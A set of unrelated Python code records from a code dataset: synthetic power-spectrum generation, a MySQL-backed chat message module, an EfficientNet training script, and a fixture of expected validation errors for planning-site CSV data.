--------\n Generate a power spectrum with a single\n >>> freqs, psd = gen_power_spectrum([1, 50], [0, 2], [10, 1, 1])\n\n Generate a power spectrum with alpha and beta peaks\n >>> freqs, psd = gen_power_spectrum([1, 50], [0, 2], [[10, 1, 1], [20, 0.5, 1]])\n \"\"\"\n\n xs = gen_freqs(freq_range, freq_res)\n ys = gen_power_vals(xs, background_params, _check_flat(gauss_params), nlv)\n\n return xs, ys\n\n\ndef gen_group_power_spectra(n_spectra, freq_range, background_params,\n gauss_params, nlvs=0.005, freq_res=0.5):\n \"\"\"Generate a group of synthetic power spectra.\n\n Parameters\n ----------\n n_spectra : int\n The number of power spectra to generate in the matrix.\n freq_range : list of [float, float]\n Minimum and maximum values of the desired frequency vector.\n background_params : list of float or generator\n Parameters for the background of the power spectra.\n gauss_params : list of float or generator\n Parameters for the peaks of the power spectra.\n Length of n_peaks * 3.\n nlvs : float or list of float or generator, optional\n Noise level to add to generated power spectrum. default: 0.005\n freq_res : float, optional\n Frequency resolution for the synthetic power spectra. default: 0.5\n\n Returns\n -------\n xs : 1d array\n Frequency values (linear).\n ys : 2d array\n Matrix of power values (linear).\n syn_params : list of SynParams\n Definitions of parameters used for each spectrum. Has length of n_spectra.\n\n Notes\n -----\n Parameters options can be:\n - A single set of parameters\n - If so, these same parameters are used for all spectra.\n - A list of parameters whose length is n_spectra.\n - If so, each successive parameter set is such for each successive spectrum.\n - A generator object that returns parameters for a power spectrum.\n - If so, each spectrum has parameters pulled from the generator.\n Background Parameters:\n - The type of background process to use is inferred from the provided parameters.\n - If length of 2, 'fixed' background is used, if length of 3, 'knee' is used.\n Gaussian Parameters:\n - Each gaussian description is a set of three values:\n - mean (CF), amplitude (Amp), and std (BW)\n\n\n Examples\n --------\n Generate 2 power spectra using the same parameters.\n >>> freqs, psds, _ = gen_group_power_spectra(2, [1, 50], [0, 2], [10, 1, 1])\n\n Generate 10 power spectra, randomly sampling possible parameters\n >>> bg_opts = param_sampler([[0, 1.0], [0, 1.5], [0, 2]])\n >>> gauss_opts = param_sampler([[], [10, 1, 1], [10, 1, 1, 20, 2, 1]])\n >>> freqs, psds, syn_params = gen_group_power_spectra(10, [1, 50], bg_opts, gauss_opts)\n \"\"\"\n\n # Initialize things\n xs = gen_freqs(freq_range, freq_res)\n ys = np.zeros([n_spectra, len(xs)])\n syn_params = [None] * n_spectra\n\n # Check if inputs are generators, if not, make them into repeat generators\n background_params = _check_iter(background_params, n_spectra)\n gauss_params = _check_iter(gauss_params, n_spectra)\n nlvs = _check_iter(nlvs, n_spectra)\n\n # Synthesize power spectra\n for ind, bgp, gp, nlv in zip(range(n_spectra), background_params, gauss_params, nlvs):\n\n syn_params[ind] = SynParams(bgp.copy(), sorted(group_three(gp)), nlv)\n ys[ind, :] = gen_power_vals(xs, bgp, gp, nlv)\n\n return xs, ys, syn_params\n\n\ndef gen_background(xs, background_params, background_mode=None):\n \"\"\"Generate background values, from parameter definition.\n\n Parameters\n ----------\n xs : 1d array\n Frequency vector to create background from.\n background_params : list of float\n Parameters that define the background process.\n background_mode : {'fixed', 'knee'}, optional\n Which kind of background to generate power spectra with.\n If not provided, is infered from the parameters.\n\n Returns\n -------\n 1d array\n Generated background values.\n \"\"\"\n\n if not background_mode:\n background_mode = infer_bg_func(background_params)\n\n bg_func = get_bg_func(background_mode)\n\n return bg_func(xs, *background_params)\n\n\ndef gen_peaks(xs, gauss_params):\n \"\"\"Generate peaks values, from parameter definition.\n\n Parameters\n ----------\n xs : 1d array\n Frequency vector to create peak values from.\n gauss_params : list of float\n Parameters to create peaks. Length of n_peaks * 3.\n\n Returns\n -------\n 1d array\n Generated background values.\n \"\"\"\n\n return gaussian_function(xs, *gauss_params)\n\n\ndef gen_power_vals(xs, background_params, gauss_params, nlv):\n \"\"\"Generate power values for a power spectrum.\n\n Parameters\n ----------\n xs : 1d array\n Frequency vector to create power values from.\n background_params : list of float\n Parameters to create the background of power spectrum.\n gauss_params : list of float\n Parameters to create peaks. Length of n_peaks * 3.\n nlv : float\n Noise level to add to generated power spectrum.\n\n Returns\n -------\n ys : 1d vector\n Power values (linear).\n \"\"\"\n\n background = gen_background(xs, background_params)\n peaks = gen_peaks(xs, gauss_params)\n noise = np.random.normal(0, nlv, len(xs))\n\n ys = np.power(10, background + peaks + noise)\n\n return ys\n\ndef rotate_spectrum(freqs, power_spectrum, delta_f, f_rotation):\n \"\"\"Rotate a power spectrum about a frequency point, changing the power law exponent.\n\n Parameters\n ----------\n freqs : 1d array\n Frequency axis of input power spectrum, in Hz.\n power_spectrum : 1d array\n Power values of the spectrum that is to be rotated.\n delta_f : float\n Change in power law exponent to be applied.\n Positive is counterclockwise rotation (flatten)\n Negative is clockwise rotation (steepen).\n f_rotation : float\n Frequency, in Hz, at which to do the rotation, such that power at that frequency is unchanged.\n\n Returns\n -------\n 1d array\n Rotated psd.\n\n \"\"\"\n\n # Check that the requested frequency rotation value is within the given range\n if f_rotation < freqs.min() or f_rotation > freqs.max():\n raise ValueError('Rotation frequency not within frequency range.')\n\n f_mask = np.zeros_like(freqs)\n\n\n # NOTE: Update this to use data checking from fooof.fit\n if freqs[0] == 0.:\n # If starting freq is 0Hz, default power at 0Hz to old value because log\n # will return inf. Use case occurs in simulating/manipulating time series.\n f_mask[0] = 1.\n f_mask[1:] = 10**(np.log10(np.abs(freqs[1:])) * (delta_f))\n else:\n # Otherwise, apply rotation to all frequencies.\n f_mask = 10**(np.log10(np.abs(freqs)) * (delta_f))\n\n f_mask = f_mask / f_mask[np.where(freqs >= f_rotation)[0][0]]\n\n return f_mask * power_spectrum\n\n\n###################################################################################################\n###################################################################################################\n\ndef _check_iter(obj, length):\n \"\"\"Check an object to ensure that it is iterable, and make it iterable if not.\n\n Parameters\n ----------\n obj : generator or list or float\n Object to check status of.\n length : int\n The (minimum) length the iterator needs to be.\n\n Returns\n -------\n obj : generator\n Iterable object.\n \"\"\"\n\n # If object is not a generator, update to become one - otherwise, get's left as is\n if not isgenerator(obj):\n\n # If it's a list, make it a repeat generator\n if isinstance(obj, list):\n\n # Unless its a list of lists of the right length - in this case, leave as is\n # This will leave it as a list of list that will iterate through each element\n if not (isinstance(obj[0], list) and len(obj) == length):\n obj = repeat(obj)\n\n # If it's not a list\n else:\n obj = repeat(obj)\n\n return obj\n\n\ndef _check_flat(lst):\n \"\"\"Check whether a list is flat, and flatten if not.\n\n Parameters\n ----------\n lst : list or list of lists\n A list object to be checked and potentially flattened.\n\n Returns\n -------\n list\n A '1D' list, which is a flattened version of the input.\n\n Notes\n -----\n This function only deals with one level of nesting.\n \"\"\"\n\n # Note: flatten if list contains list(s), but skip if list is empty (which is valid)\n if len(lst) != 0 and isinstance(lst[0], list):\n lst = list(chain(*lst))\n\n return lst\n","sub_path":"fooof/synth.py","file_name":"synth.py","file_ext":"py","file_size_in_byte":15353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"641586733","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\" A module that handle the functions about chatting.\"\n\"\"\" 2017/11/28 16:38 Public Functions Check - ALL SUCCESSFUL\n Checker: Junyi 2017-11-28\"\"\"\n\n__author__ = 'Junyi'\n\nimport time\nimport json\nimport pymysql\nimport config\n\n\"\"\"\n__FindMaxNID\n找到当前最大的NID是多少\n\"\"\"\n\ndef __FindMaxNID():\n con = pymysql.connect(host=config.Mysql_host, user=config.Mysql_user,\n passwd=config.Mysql_password, db=config.Mysql_database, charset=config.Mysql_charset)\n try:\n with con.cursor() as cursor:\n sql = 'SELECT * FROM no_push_contents ORDER BY no_push_contents.nid DESC LIMIT 1'\n cursor.execute(sql)\n result = cursor.fetchone()\n\n if result == None:\n return 2147483647 # 如果出错,返回当前已经处理的list\n return int(result[0]) # 已经到了第0层,root节点\n except Exception as e:\n return 0\n finally:\n con.close()\n\n\n\"\"\"\n__FindFathersByLID\n通过LID找所有父亲的LID\nuid: 类似 1709853D-I011-0021\n\"\"\"\n\n\ndef __FindFathersByLID(lid):\n if not isinstance(lid, int):\n raise Exception(\"layer_id is not an integer!\")\n\n con = pymysql.connect(host=config.Mysql_host, user=config.Mysql_user,\n passwd=config.Mysql_password, db=config.Mysql_database, charset=config.Mysql_charset)\n try:\n with con.cursor() as cursor:\n list = []\n fid = lid\n list.append(fid)\n while not fid == -1: # 不采用递归的方式,因为会多次connect数据库\n sql = 'SELECT * FROM no_layer WHERE lid = %s'\n cursor.execute(sql, fid) # 注意,这里是fid\n result = cursor.fetchone()\n\n if result == None:\n return list # 如果出错,返回当前已经处理的list\n\n fid = result[3]\n list.append(fid)\n\n if result[1] == 0:\n return list # 已经到了第0层,root节点\n finally:\n con.close()\n return list\n\n\n\"\"\"\n__FindFathersByUID\n通过UID找所有父亲的LID\nuid: 类似 1709853D-I011-0021\n\"\"\"\n\n\ndef __FindFathersByUID(uid):\n if not isinstance(uid, str):\n raise Exception(\"user_id is not a string!\")\n\n con = pymysql.connect(host=config.Mysql_host, user=config.Mysql_user,\n passwd=config.Mysql_password, db=config.Mysql_database, charset=config.Mysql_charset)\n try:\n with con.cursor() as cursor:\n sql = 'SELECT * FROM no_user_layer WHERE uid = %s'\n cursor.execute(sql, uid)\n result = cursor.fetchone()\n finally:\n con.close()\n\n if result is None:\n return [] # return an empty list\n else:\n lid = result[1]\n return __FindFathersByLID(lid) # 通过lid找父亲\n\n\n\"\"\"\nHaveNewChatMessage\n返回是否有未读的新消息\nuid: 类似 1709853D-I011-0021\nclient_oldest_message_id: 上次阅读到的消息id (数据库中表示为nid)\n\"\"\"\n\n#Checked! Checker: Junyi 2017-11-28\ndef HaveNewChatMessage(uid, client_oldest_message_id=0):\n if not isinstance(uid, str):\n raise Exception(\"user_id is not a string!\")\n if not isinstance(client_oldest_message_id, int):\n raise Exception(\"client_oldest_message_id is not an integer!\")\n\n fathers = __FindFathersByUID(uid)\n fat_len = len(fathers)\n\n con = pymysql.connect(host=config.Mysql_host, user=config.Mysql_user,\n passwd=config.Mysql_password, db=config.Mysql_database, charset=config.Mysql_charset)\n try:\n with con.cursor() as cursor:\n if fat_len == 0:\n return False\n\n sql = 'SELECT * FROM no_push_contents WHERE no_push_contents.lid = '\n\n for eachFather in fathers:\n if eachFather == fathers[fat_len - 1]:\n sql = sql + str(eachFather) + \" \"\n else:\n sql = sql + str(eachFather) + \" OR no_push_contents.lid = \"\n sql = sql + \"ORDER BY no_push_contents.nid DESC LIMIT 1\"\n cursor.execute(sql)\n result = cursor.fetchall()\n\n if result is None:\n return False\n\n if client_oldest_message_id == result[0][0]:\n return False # 直接return就好,因为return之前会先执行finally的con.close(),然后return\n elif client_oldest_message_id > result[0][0]:\n print(\"client_oldest_message_id is invalid! uid=%s, id=%s\" % (uid, client_oldest_message_id))\n return False\n else:\n return True\n finally:\n con.close()\n return False\n\n#Checked! Checker: Junyi 2017-11-30\ndef PullUpGetChatMessage(uid, client_oldest_message_id=0, message_count=20):\n # uid: user_id likes 1709853D-I011-0021\n # client_oldest_message_id: the last note_id that user loaded at last time.\n\n if not isinstance(uid, str):\n raise Exception(\"user_id is not a string!\")\n if not isinstance(client_oldest_message_id, int):\n raise Exception(\"client_oldest_message_id is not an integer!\")\n if not isinstance(message_count, int):\n raise Exception(\"message_count is not an integer!\")\n\n fathers = __FindFathersByUID(uid)\n fat_len = len(fathers)\n\n con = pymysql.connect(host=config.Mysql_host, user=config.Mysql_user,\n passwd=config.Mysql_password, db=config.Mysql_database, charset=config.Mysql_charset)\n try:\n with con.cursor() as cursor:\n if fat_len == 0:\n return False\n\n sql = 'SELECT * FROM (SELECT * FROM no_push_contents WHERE no_push_contents.lid = '\n for eachFather in fathers:\n print(\"father:\", eachFather)\n if eachFather == fathers[fat_len - 1]:\n sql = sql + str(eachFather) + \" \"\n else:\n sql = sql + str(eachFather) + \" OR no_push_contents.lid = \"\n sql = sql + \"ORDER BY no_push_contents.nid DESC) AS SB WHERE SB.nid < \" + str(\n client_oldest_message_id) + \" LIMIT \" + str(message_count)\n\n cursor.execute(sql)\n result = cursor.fetchall()\n\n if result is None:\n return '{\"error\":\"No data returned\", \"status\":1}'\n\n retval = {\"status\": 0, \"error\": \"\", \"res\": []}\n for eachTuple in result:\n retval[\"res\"].append({\"notificationMessage\": eachTuple[2],\n \"notificationMessageTime\": str(eachTuple[3])[:10],\n \"notificationid\": eachTuple[0]})\n return retval\n finally:\n con.close()\n return '{\"error\":\"No data returned\", \"status\":1}'\n\n\n\"\"\"\n手指相对于屏幕向下滑动加载聊天信息\n这里只接收uid,用户请求合法性请在调用之前进行判断\n\"\"\"\n\n#Checked! Checker: Junyi 2017-11-28\ndef PullDownGetChatMessage(uid):\n return PullUpGetChatMessage(uid, __FindMaxNID() + 1) # 这里+1是因为pullUp里面判断的nid是<没有等于\n\n\n# if __name__ == \"__main__\":\n# r = HaveNewChatMessage(\"1709853D-I011-0024\", 7)\n# print((r))\n# r = PullDownGetChatMessage(\"1709853D-I011-0024\")\n# print((r))\n# r = PullUpGetChatMessage(\"1709853D-I011-0021\", 4)\n# print((r))\n","sub_path":"RcmdFun/Chat.py","file_name":"Chat.py","file_ext":"py","file_size_in_byte":7389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"189467341","text":"\"\"\"\r\nEvaluate on ImageNet. Note that at the moment, training is not implemented (I am working on it).\r\nthat being said, evaluation is working.\r\n\"\"\"\r\n\r\nimport argparse\r\nimport shutil\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.parallel\r\nimport torch.backends.cudnn as cudnn\r\nimport torch.optim\r\nimport torch.utils.data\r\nimport torch.utils.data.distributed\r\nfrom efficientnet_pytorch import EfficientNet\r\nfrom config import opt_train\r\nfrom data_processing.car_dataset import CarsDataset\r\nfrom torch.utils.data import DataLoader\r\n\r\nparser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\r\nparser.add_argument('data', metavar='DIR',\r\n help='path to dataset')\r\nparser.add_argument('--resume', default='F', metavar='PATH',\r\n help='path to latest checkpoint (default: none)')\r\nargs = parser.parse_args()\r\n\r\n\r\ndef work():\r\n\r\n print(opt_train.use_gpu)\r\n print(opt_train.num_classes)\r\n # 创建网络模型\r\n model = EfficientNet.from_pretrained(opt_train.model_name,num_classes=opt_train.num_classes)\r\n if opt_train.use_gpu:\r\n model.cuda()\r\n\r\n # 损失函数和优化器\r\n criterion = nn.CrossEntropyLoss().cuda()\r\n optimizer = torch.optim.SGD(model.parameters(), opt_train.lr,\r\n momentum=opt_train.momentum,\r\n weight_decay=opt_train.weight_decay)\r\n\r\n # 是否加载已有的模型\r\n if args.resume == 'T':\r\n print(\"=> loading checkpoint '{}'\".format(opt_train.resume_file))\r\n checkpoint = torch.load(opt_train.resume_file)\r\n opt_train.start_epoch = checkpoint['epoch']\r\n opt_train.best_acc1 = checkpoint['best_acc1']\r\n model.load_state_dict(checkpoint['state_dict'])\r\n optimizer.load_state_dict(checkpoint['optimizer'])\r\n print(\"=> loaded checkpoint '{}' (epoch {})\".format(opt_train.resume_file, checkpoint['epoch']))\r\n\r\n cudnn.benchmark = True\r\n\r\n # 加载训练数据\r\n # 训练集\r\n train_dataset = CarsDataset('train', opt_train.data_dir, None)\r\n train_loader = torch.utils.data.DataLoader(\r\n train_dataset, batch_size=opt_train.batch_size, shuffle=True,\r\n num_workers=opt_train.num_wokers, pin_memory=True)\r\n\r\n # 验证集\r\n image_size = EfficientNet.get_image_size(opt_train.model_name)\r\n val_dataset = CarsDataset('val', opt_train.data_dir, image_size)\r\n val_loader = DataLoader(\r\n val_dataset,\r\n batch_size=opt_train.batch_size, shuffle=False,\r\n num_workers=opt_train.num_wokers, pin_memory=True)\r\n\r\n for epoch in range(opt_train.start_epoch, opt_train.epochs):\r\n adjust_learning_rate(optimizer, epoch)\r\n\r\n # train for one epoch\r\n train(train_loader, model, criterion, optimizer, epoch)\r\n\r\n # evaluate on validation set\r\n acc1 = validate(val_loader, model, criterion)\r\n\r\n # remember best acc@1 and save checkpoint\r\n is_best = acc1 > opt_train.best_acc1\r\n opt_train.best_acc1 = max(acc1, opt_train.best_acc1)\r\n print(\"save:\", epoch)\r\n save_checkpoint({\r\n 'epoch': epoch + 1,\r\n 'state_dict': model.state_dict(),\r\n 'best_acc1': opt_train.best_acc1,\r\n 'optimizer': optimizer.state_dict(),\r\n }, is_best)\r\n\r\n\r\ndef train(train_loader, model, criterion, optimizer, epoch):\r\n\r\n # switch to train mode\r\n model.train()\r\n\r\n train_loss = 0.\r\n train_acc = 0.\r\n all_num = len(train_loader)\r\n for i, (images, target) in enumerate(train_loader):\r\n # measure data loading time\r\n\r\n target = target.cuda()\r\n\r\n # compute output\r\n output = model(images.cuda())\r\n loss = criterion(output, target)\r\n train_loss += loss.item()\r\n\r\n pred = torch.max(output, 1)[1]\r\n train_correct = (pred == target).sum()\r\n train_acc += train_correct.item()\r\n\r\n # compute gradient and do SGD step\r\n optimizer.zero_grad()\r\n loss.backward()\r\n optimizer.step()\r\n if i % opt_train.print_freq == 0:\r\n print('Train: Epoch[{}] [{}/{}] Loss:{:.6f}, Acc:{:.6f}'\r\n .format(epoch, i, all_num, train_loss / all_num, train_acc / ((i+1) * opt_train.batch_size)))\r\n print('***Train: Epoch[{}] Loss:{:.6f}, Acc:{:.6f}'\r\n .format(epoch, train_loss / all_num, train_acc / (all_num * opt_train.batch_size)))\r\n\r\n\r\ndef validate(val_loader, model, criterion):\r\n\r\n # switch to evaluate mode\r\n model.eval()\r\n val_loss = 0.\r\n val_acc = 0.\r\n all_num = len(val_loader)\r\n with torch.no_grad():\r\n for i, (images, target) in enumerate(val_loader):\r\n if opt_train.use_gpu:\r\n images = images.cuda()\r\n target = target.cuda()\r\n\r\n # compute output\r\n output = model(images)\r\n loss = criterion(output, target)\r\n\r\n val_loss += loss.item()\r\n\r\n pred = torch.max(output, 1)[1]\r\n val_correct = (pred == target).sum()\r\n val_acc += val_correct.item()\r\n if i % opt_train.print_freq == 0:\r\n print('Val: [{}/{}] Loss:{:.6f}, Acc:{:.6f}'\r\n .format(i, all_num, val_loss / all_num, val_acc / ((i+1) * opt_train.batch_size)))\r\n print('***Val: Loss:{:.6f}, Acc:{:.6f}'.format(val_loss / all_num, val_acc / (all_num * opt_train.batch_size)))\r\n\r\n return val_acc\r\n\r\n\r\ndef save_checkpoint(state, is_best, filename='./checkpoints/checkpoint.pth.tar'):\r\n torch.save(state, filename)\r\n if is_best:\r\n shutil.copyfile(filename, './checkpoints/model_best.pth.tar')\r\n\r\n\r\ndef adjust_learning_rate(optimizer, epoch):\r\n \"\"\"Sets the learning rate to the initial LR decayed by 10 every 30 epochs\"\"\"\r\n lr = opt_train.lr * (0.1 ** (epoch // 30))\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = lr\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n work()\r\n","sub_path":"CarTeller/CarInfoTeller/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"418796097","text":"result = {\n \"id\": None,\n \"meta_data\": {\n \"file_type\": \"csv\",\n \"headers_expected\": [\n \"OrganisationURI\",\n \"SiteReference\",\n \"SiteNameAddress\",\n \"GeoX\",\n \"GeoY\",\n \"SiteplanURL\",\n \"Hectares\",\n \"OwnershipStatus\",\n \"PlanningStatus\",\n \"PermissionType\",\n \"PermissionDate\",\n \"PlanningHistory\",\n \"Deliverable\",\n \"NetDwellingsRangeFrom\",\n \"NetDwellingsRangeTo\",\n \"HazardousSubstances\",\n \"Notes\",\n \"FirstAddedDate\",\n \"LastUpdatedDate\",\n \"EndDate\",\n ],\n \"headers_found\": [\n \"OrganisationURI\",\n \"OrganisationLabel\",\n \"SiteReference\",\n \"PreviouslyPartOf\",\n \"SiteNameAddress\",\n \"SiteplanURL\",\n \"CoordinateReferenceSystem\",\n \"GeoX\",\n \"GeoY\",\n \"Hectares\",\n \"OwnershipStatus\",\n \"Deliverable\",\n \"PlanningStatus\",\n \"PermissionType\",\n \"PermissionDate\",\n \"PlanningHistory\",\n \"ProposedForPIP\",\n \"MinNetDwellings\",\n \"DevelopmentDescription\",\n \"NonHousingDevelopment\",\n \"Part2\",\n \"NetDwellingsRangeFrom\",\n \"NetDwellingsRangeTo\",\n \"HazardousSubstances\",\n \"SiteInformation\",\n \"Notes\",\n \"FirstAddedDate\",\n \"LastUpdatedDate\",\n ],\n \"missing_headers\": [\"EndDate\"],\n \"additional_headers\": [\n \"DevelopmentDescription\",\n \"ProposedForPIP\",\n \"SiteInformation\",\n \"Part2\",\n \"NonHousingDevelopment\",\n \"CoordinateReferenceSystem\",\n \"OrganisationLabel\",\n \"MinNetDwellings\",\n \"PreviouslyPartOf\",\n ],\n },\n \"input\": [\n [\n (\n \"OrganisationURI\",\n \"http://opendatacommunities.org/id/district-council/winchester\",\n ),\n (\"OrganisationLabel\", \"Winchester City Council\"),\n (\"SiteReference\", \"BLR17/01\"),\n (\"PreviouslyPartOf\", \"16/00999/FUL\"),\n (\"SiteNameAddress\", \"Old Station Yard Oxford Road\"),\n (\"SiteplanURL\", \"not-a-url\"),\n (\"CoordinateReferenceSystem\", \"WGS84\"),\n (\"GeoX\", \"not-a-geox\"),\n (\"GeoY\", \"139531\"),\n (\"Hectares\", \"0.9\"),\n (\"OwnershipStatus\", \"not owned by a public authority\"),\n (\"Deliverable\", \"Y\"),\n (\"PlanningStatus\", \"permissioned\"),\n (\"PermissionType\", \"full planning permission\"),\n (\"PermissionDate\", \"2016-12-21\"),\n (\n \"PlanningHistory\",\n \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application|this-item-is-not-a-url\",\n ),\n (\"ProposedForPIP\", \"\"),\n (\"MinNetDwellings\", \"27\"),\n (\"DevelopmentDescription\", \"Erection of 27No. Dwellings\"),\n (\"NonHousingDevelopment\", \"\"),\n (\"Part2\", \"\"),\n (\"NetDwellingsRangeFrom\", \"\"),\n (\"NetDwellingsRangeTo\", \"\"),\n (\"HazardousSubstances\", \"\"),\n (\"SiteInformation\", \"\"),\n (\"Notes\", \"\"),\n (\"FirstAddedDate\", \"2017-12-01\"),\n (\"LastUpdatedDate\", \"2017-12-08\"),\n ],\n [\n (\n \"OrganisationURI\",\n \"http://opendatacommunities.org/id/district-council/winchester\",\n ),\n (\"OrganisationLabel\", \"Winchester City Council\"),\n (\"SiteReference\", \"BLR17/02\"),\n (\"PreviouslyPartOf\", \"16/03095/FUL\"),\n (\"SiteNameAddress\", \"63 Andover Road\"),\n (\n \"SiteplanURL\",\n \"http://winch.maps.arcgis.com/apps/webappviewer/index.html?id=4c4379c8d2c14f8c81033b4ffd1d4a3b\",\n ),\n (\"CoordinateReferenceSystem\", \"WGS84\"),\n (\"GeoX\", \"447560\"),\n (\"GeoY\", \"130729\"),\n (\"Hectares\", \"0.29\"),\n (\"OwnershipStatus\", \"not owned by a public authority\"),\n (\"Deliverable\", \"yes\"),\n (\"PlanningStatus\", \"Permissioned\"),\n (\"PermissionType\", \"full planning permission\"),\n (\"PermissionDate\", \"2017-01-23\"),\n (\n \"PlanningHistory\",\n \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application\",\n ),\n (\"ProposedForPIP\", \"\"),\n (\"MinNetDwellings\", \"10\"),\n (\n \"DevelopmentDescription\",\n \"Demolition of existing dwelling and erection of 10No. dwellings (6No. 2 Bed Flats and 4No. 3 Bed Houses)\",\n ),\n (\"NonHousingDevelopment\", \"\"),\n (\"Part2\", \"\"),\n (\"NetDwellingsRangeFrom\", \"\"),\n (\"NetDwellingsRangeTo\", \"\"),\n (\"HazardousSubstances\", \"\"),\n (\"SiteInformation\", \"\"),\n (\"Notes\", \"\"),\n (\"FirstAddedDate\", \"2017-12-01\"),\n (\"LastUpdatedDate\", \"2017-12-08\"),\n ],\n ],\n \"rows\": [\n [\n (\n \"OrganisationURI\",\n \"http://opendatacommunities.org/id/district-council/winchester\",\n ),\n (\"SiteReference\", \"BLR17/01\"),\n (\"SiteNameAddress\", \"Old Station Yard Oxford Road\"),\n (\"GeoX\", \"not-a-geox\"),\n (\"GeoY\", \"139531\"),\n (\"SiteplanURL\", \"not-a-url\"),\n (\"Hectares\", \"0.9\"),\n (\"OwnershipStatus\", \"not owned by a public authority\"),\n (\"PlanningStatus\", \"permissioned\"),\n (\"PermissionType\", \"full planning permission\"),\n (\"PermissionDate\", \"2016-12-21\"),\n (\n \"PlanningHistory\",\n \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application|this-item-is-not-a-url\",\n ),\n (\"Deliverable\", \"Y\"),\n (\"NetDwellingsRangeFrom\", \"\"),\n (\"NetDwellingsRangeTo\", \"\"),\n (\"HazardousSubstances\", \"\"),\n (\"Notes\", \"\"),\n (\"FirstAddedDate\", \"2017-12-01\"),\n (\"LastUpdatedDate\", \"2017-12-08\"),\n ],\n [\n (\n \"OrganisationURI\",\n \"http://opendatacommunities.org/id/district-council/winchester\",\n ),\n (\"SiteReference\", \"BLR17/02\"),\n (\"SiteNameAddress\", \"63 Andover Road\"),\n (\"GeoX\", \"447560\"),\n (\"GeoY\", \"130729\"),\n (\n \"SiteplanURL\",\n \"http://winch.maps.arcgis.com/apps/webappviewer/index.html?id=4c4379c8d2c14f8c81033b4ffd1d4a3b\",\n ),\n (\"Hectares\", \"0.29\"),\n (\"OwnershipStatus\", \"not owned by a public authority\"),\n (\"PlanningStatus\", \"Permissioned\"),\n (\"PermissionType\", \"full planning permission\"),\n (\"PermissionDate\", \"2017-01-23\"),\n (\n \"PlanningHistory\",\n \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application\",\n ),\n (\"Deliverable\", \"yes\"),\n (\"NetDwellingsRangeFrom\", \"\"),\n (\"NetDwellingsRangeTo\", \"\"),\n (\"HazardousSubstances\", \"\"),\n (\"Notes\", \"\"),\n (\"FirstAddedDate\", \"2017-12-01\"),\n (\"LastUpdatedDate\", \"2017-12-08\"),\n ],\n ],\n \"errors_by_row\": [\n {\n \"OrganisationURI\": {\n \"value\": \"http://opendatacommunities.org/id/district-council/winchester\",\n \"error\": None,\n \"row\": 1,\n },\n \"SiteReference\": {\"value\": \"BLR17/01\", \"error\": None, \"row\": 1},\n \"SiteNameAddress\": {\n \"value\": \"Old Station Yard Oxford Road\",\n \"error\": None,\n \"row\": 1,\n },\n \"GeoX\": {\n \"value\": \"not-a-geox\",\n \"error\": {\"message\": \"not-a-geox is not a valid number\", \"fix\": None},\n \"row\": 1,\n },\n \"GeoY\": {\n \"value\": \"139531\",\n \"error\": {\n \"message\": \"139531 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"fix\": None,\n },\n \"row\": 1,\n },\n \"SiteplanURL\": {\n \"value\": \"not-a-url\",\n \"error\": {\"message\": \"'not-a-url' is not a URL\", \"fix\": None},\n \"row\": 1,\n },\n \"Hectares\": {\"value\": \"0.9\", \"error\": None, \"row\": 1},\n \"OwnershipStatus\": {\n \"value\": \"not owned by a public authority\",\n \"error\": None,\n \"row\": 1,\n },\n \"PlanningStatus\": {\"value\": \"permissioned\", \"error\": None, \"row\": 1},\n \"PermissionType\": {\n \"value\": \"full planning permission\",\n \"error\": None,\n \"row\": 1,\n },\n \"PermissionDate\": {\"value\": \"2016-12-21\", \"error\": None, \"row\": 1},\n \"PlanningHistory\": {\n \"value\": \"https://planningapps.winchester.gov.uk/online-applications/search.do?action=simple&searchType=Application|this-item-is-not-a-url\",\n \"error\": {\n \"message\": \"'this-item-is-not-a-url' is not a url\",\n \"fix\": None,\n },\n \"row\": 1,\n },\n \"Deliverable\": {\"value\": \"Y\", \"error\": None, \"row\": 1},\n \"NetDwellingsRangeFrom\": {\"value\": \"\", \"error\": None, \"row\": 1},\n \"NetDwellingsRangeTo\": {\"value\": \"\", \"error\": None, \"row\": 1},\n \"HazardousSubstances\": {\"value\": \"\", \"error\": None, \"row\": 1},\n \"Notes\": {\"value\": \"\", \"error\": None, \"row\": 1},\n \"FirstAddedDate\": {\"value\": \"2017-12-01\", \"error\": None, \"row\": 1},\n \"LastUpdatedDate\": {\"value\": \"2017-12-08\", \"error\": None, \"row\": 1},\n },\n {\n \"OrganisationURI\": {\n \"value\": \"http://opendatacommunities.org/id/district-council/winchester\",\n \"error\": None,\n \"row\": 2,\n },\n \"SiteReference\": {\"value\": \"BLR17/02\", \"error\": None, \"row\": 2},\n \"SiteNameAddress\": {\"value\": \"63 Andover Road\", \"error\": None, \"row\": 2},\n \"GeoX\": {\n \"value\": \"447560\",\n \"error\": {\n \"message\": \"447560 isn't a longitude using the WGS84 or ETRS89 coordinate systems\",\n \"fix\": None,\n },\n \"row\": 2,\n },\n \"GeoY\": {\n \"value\": \"130729\",\n \"error\": {\n \"message\": \"130729 isn't a latitude using the WGS84 or ETRS89 coordinate systems\",\n \"fix\": None,\n },\n \"row\": 2,\n },\n \"SiteplanURL\": {\n \"value\": \"http://winch.maps.arcgis.com/apps/webappviewer/index.html?id=4c4379c8d2c14f8c81033b4ffd1d4a3b\",\n \"error\": None,\n \"row\": 2,\n },\n \"Hectares\": {\"value\": \"0.29\", \"error\": None, \"row\": 2},\n \"OwnershipStatus\": {\n \"value\": \"not owned by a public authority\",\n \"error\": None,\n \"row\": 2,\n },\n \"PlanningStatus\": {\"value\": \"Permissioned\", \"error\": None, \"row\": 2},\n \"PermissionType\": {\n \"value\": \"full planning permission\",\n \"error\": None,\n \"row\": 2,\n },\n \"PermissionDate\": {\"value\": \"2017-01-23\", \"error\": None, \"row\": 2},\n \"PlanningHistory\": {\n 